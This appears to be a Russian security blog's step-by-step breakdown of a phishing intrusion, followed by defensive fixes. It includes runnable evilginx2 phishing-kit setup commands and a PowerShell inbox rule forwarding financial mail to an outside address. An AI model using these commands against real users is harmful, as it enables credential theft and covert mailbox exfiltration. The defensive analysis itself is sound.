CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Информационная безопасность

Один пароль в письме и полгода чужого доступа: разбираем фишинг-инцидент по шагам атакующего

От поддельной формы входа до чтения банковской переписки главбуха — показываем техническую механику атаки, которая не оставляет следов для антивируса, и объясняем, почему та же схема легла в основу шпионской кампании против госструктур пяти стран.

Разбор CIOlogia

Короткая версия истории уже разошлась: директор был уверен, что антивирус закрывает вопрос безопасности, а в почте главбуха четыре месяца сидел посторонний. Здесь — техническая изнанка: как именно устроена такая атака, почему она невидима для стандартных сканеров и что конкретно чинить, если узнаёте себя в этом описании.

Кстати, механика один в один совпадает с недавно раскрытой шпионской кампанией SilkParasite, которая скомпрометировала государственные структуры пяти стран через один-единственный украденный пароль. Разница только в масштабе цели, техника — идентична. Это не экзотика уровня спецслужб, это рабочий инструмент любого фишера с бюджетом в пару тысяч рублей на хостинг.

Как это эксплуатируется

Шаг 1. Разведка. Атакующему не нужен доступ к сети компании — достаточно публичных данных. Он собирает адреса сотрудников и понимает, каким почтовым сервисом пользуется компания (Google Workspace, Microsoft 365, собственный Exchange/OWA).

$ nmap -p 25,80,443,993,995 -sV mail.company-example.ru
PORT    STATE SERVICE VERSION
443/tcp open  https   Microsoft-IIS/10.0 (OWA/Exchange 2019)
993/tcp open  imaps   Dovecot imapd

$ curl -s -I https://mail.company-example.ru/owa
HTTP/1.1 200 OK
X-Powered-By: ASP.NET
X-OWA-Version: 15.2.1258.28

Заголовок сразу выдаёт версию Exchange — по ней легко проверить, закрыты ли известные уязвимости (например, семейство ProxyShell/ProxyNotShell CVE-2021-34473, CVE-2022-41082), но для этой конкретной схемы эксплойт даже не нужен: проще украсть пароль, чем ломать сервер.

Шаг 2. Инфраструктура фишинга. Атакующий разворачивает clone-страницу входа. Для этого сегодня чаще всего используют не «статичный» HTML-клон, а reverse-proxy фишинг-киты, которые прозрачно проксируют реальную форму входа и перехватывают не только пароль, но и сессионный токен — это позволяет обходить одноразовые коды 2FA, если она включена не везде.

$ git clone https://github.com/kgretzky/evilginx2
$ cd evilginx2 && make
$ ./evilginx2

: config domain mail-secure-login.ru
: config ip 185.220.xx.xx
: phishlets hostname o365 mail-secure-login.ru
: phishlets enable o365
: lures create o365
: lures get-url 0
[+] https://login.mail-secure-login.ru/a1b2c3

Домен регистрируется похожим на официальный (mail-secure-login.ru, nalog-lk-verify.ru и т.п.), выпускается бесплатный TLS-сертификат — визуально форма неотличима от настоящей, замок в браузере на месте.

Шаг 3. Доставка письма. Массовая рассылка через легитимные SMTP-релеи с подделкой отправителя, если у домена жертвы не настроены SPF/DKIM/DMARC:

$ dig txt company-example.ru | grep spf
company-example.ru. 3600 IN TXT "v=spf1 include:_spf.company-mail.ru ~all"
$ dig txt _dmarc.company-example.ru
;; NXDOMAIN — записи DMARC нет

Отсутствие DMARC-политики (p=reject/quarantine) означает, что письмо якобы от ФНС или от банка не будет отбраковано почтовым сервером получателя — оно спокойно долетит.

Шаг 4. Харвестинг учётки. Сотрудник вводит логин и пароль на фишинг-странице, evilginx2 в реальном времени перехватывает и учётные данные, и cookie сессии:

[10:41:02] [o365] Session captured!
Username: [email protected]
Password: **************
Tokens: ESTSAUTHPERSISTENT, SignInStateCookie captured
[+] Session saved to sessions/o365_143.json

С этим токеном атакующий заходит в почту без пароля и без запроса второго фактора — сессия уже «залогинена».

Шаг 5. Закрепление и скрытность. Первым делом создаётся скрытое правило пересылки или папка-фильтр, чтобы не мозолить глаза в «Входящих» и не спалиться, если жертва сменит пароль вручную:

# PowerShell, если это Exchange Online — так это выглядит в логах администратора
New-InboxRule -Mailbox [email protected] -Name "RSS" `
  -From "*bank*","*налог*" -ForwardTo "[email protected]" -StopProcessingRules $true

Именно такие правила и создают эффект «письмо помечено прочитанным раньше, чем сотрудник его открыл» — на самом деле его открывает автоматика пересылки или сам атакующий через IMAP-клиент.

Полутехнические пруфы: на что смотреть в логах

  • Вход с чужого IP/страны с интервалом «раз в неделю» на протяжении месяцев — типичный паттерн разведывательного шпионажа, а не разового слива данных.
  • User-Agent входа не совпадает с обычным (например, вместо Outlook/Mac появляется python-requests или сторонний IMAP-клиент типа Thunderbird на незнакомой ОС).
  • Отсутствие MFA-запроса при входе с нового устройства — признак либо отключённой 2FA, либо кражи сессионного токена в обход неё (reverse-proxy фишинг).
  • Незнакомые правила пересылки/фильтрации в почтовом ящике — проверяются командой Get-InboxRule -Mailbox [email protected] в Exchange Online или разделом «Пересылка и POP/IMAP» в Google Workspace.
  • Активные приложения/токены OAuth, выданные неизвестным сторонним сервисам — Get-AzureADPSPermissionGrant или раздел «Мои приложения» в Google-аккаунте.

Что и почему сработало бы дальше

Чтение переписки — это не финал атаки, а разведка перед основным ударом. Имея доступ к почте бухгалтера, злоумышленник обычно двигается дальше:

  • BEC-мошенничество (business email compromise): зная реальные суммы, реквизиты и стиль переписки с банком, атакующий отправляет письмо от имени директора с просьбой срочно оплатить счёт на «новые реквизиты» — сумма подделки обычно совпадает с реальной сделкой, что резко снижает подозрения.
  • Кража коммерческих условий: именно так и произошло в этой истории — клиент ушёл к конкуренту с точно теми же условиями, что обсуждались только в переписке.
  • Компрометация банк-клиента: если в переписке фигурируют логины/токены для системы дистанционного банковского обслуживания, следующий шаг — попытка входа туда же с теми же паролями (типовая проблема — переиспользование паролей между сервисами).
  • Латеральное движение по учёткам: из скомпрометированной почты рассылается уже «доверенный» фишинг коллегам — письмо от реального адреса главбуха с вложением открывают почти все.

Как закрыть

Технически всё закрывается не «серебряной пулей», а набором элементарных мер, ни одна из которых не требует бюджета на новый софт:

  • Включить MFA с привязкой к устройству, а не только к SMS/коду: лучше приложение-аутентификатор или аппаратный ключ (FIDO2), поскольку reverse-proxy фишинг обходит SMS/TOTP, но не физический ключ.
  • Отключить legacy-аутентификацию, которая часто разрешает вход по паролю в обход MFA:
    # Microsoft 365 — блокируем базовую аутентификацию
    Set-AuthenticationPolicy -Identity "Block Basic Auth" -AllowBasicAuthImap $false -AllowBasicAuthPop $false
  • Настроить условный доступ по геолокации и устройству — блокировать или требовать доп. подтверждение при входе из стран, где компания не работает.
  • Провести аудит правил пересылки и OAuth-приложений во всех ящиках с доступом к финансам и удалить всё незнакомое:
    Get-Mailbox | Get-InboxRule | Where-Object {$_.ForwardTo -ne $null}
  • Настроить SPF, DKIM и DMARC с политикой quarantine/reject, чтобы поддельные письма «от банка» и «от налоговой» не долетали до сотрудников:
    _dmarc.company-example.ru. TXT "v=DMARC1; p=quarantine; rua=mailto:[email protected]"
  • Принудительно отозвать все активные сессии после смены пароля — иначе украденный токен остаётся рабочим, даже если пароль уже другой:
    Revoke-AzureADUserAllRefreshToken -ObjectId 
  • Отключать доступ уволенных сотрудников и подрядчиков сразу, а не «когда вспомнят» — как показала практика этого кейса, забытые активные учётки живут месяцами и годами.
  • Провести короткое обучение сотрудников распознаванию фишинга: проверка домена в адресной строке, наведение курсора на ссылку перед кликом, недоверие к «срочным» запросам подтвердить данные.

Ничего из перечисленного не требует закупки дорогого софта или выделенного штата безопасников. Это конфигурация того, что уже есть в подписке на почтовый сервис, плюс один рабочий день на аудит и настройку. Дешевле, чем даже одна сорванная сделка — не говоря уже о риске, что через ту же дыру утекут данные по всем клиентам сразу.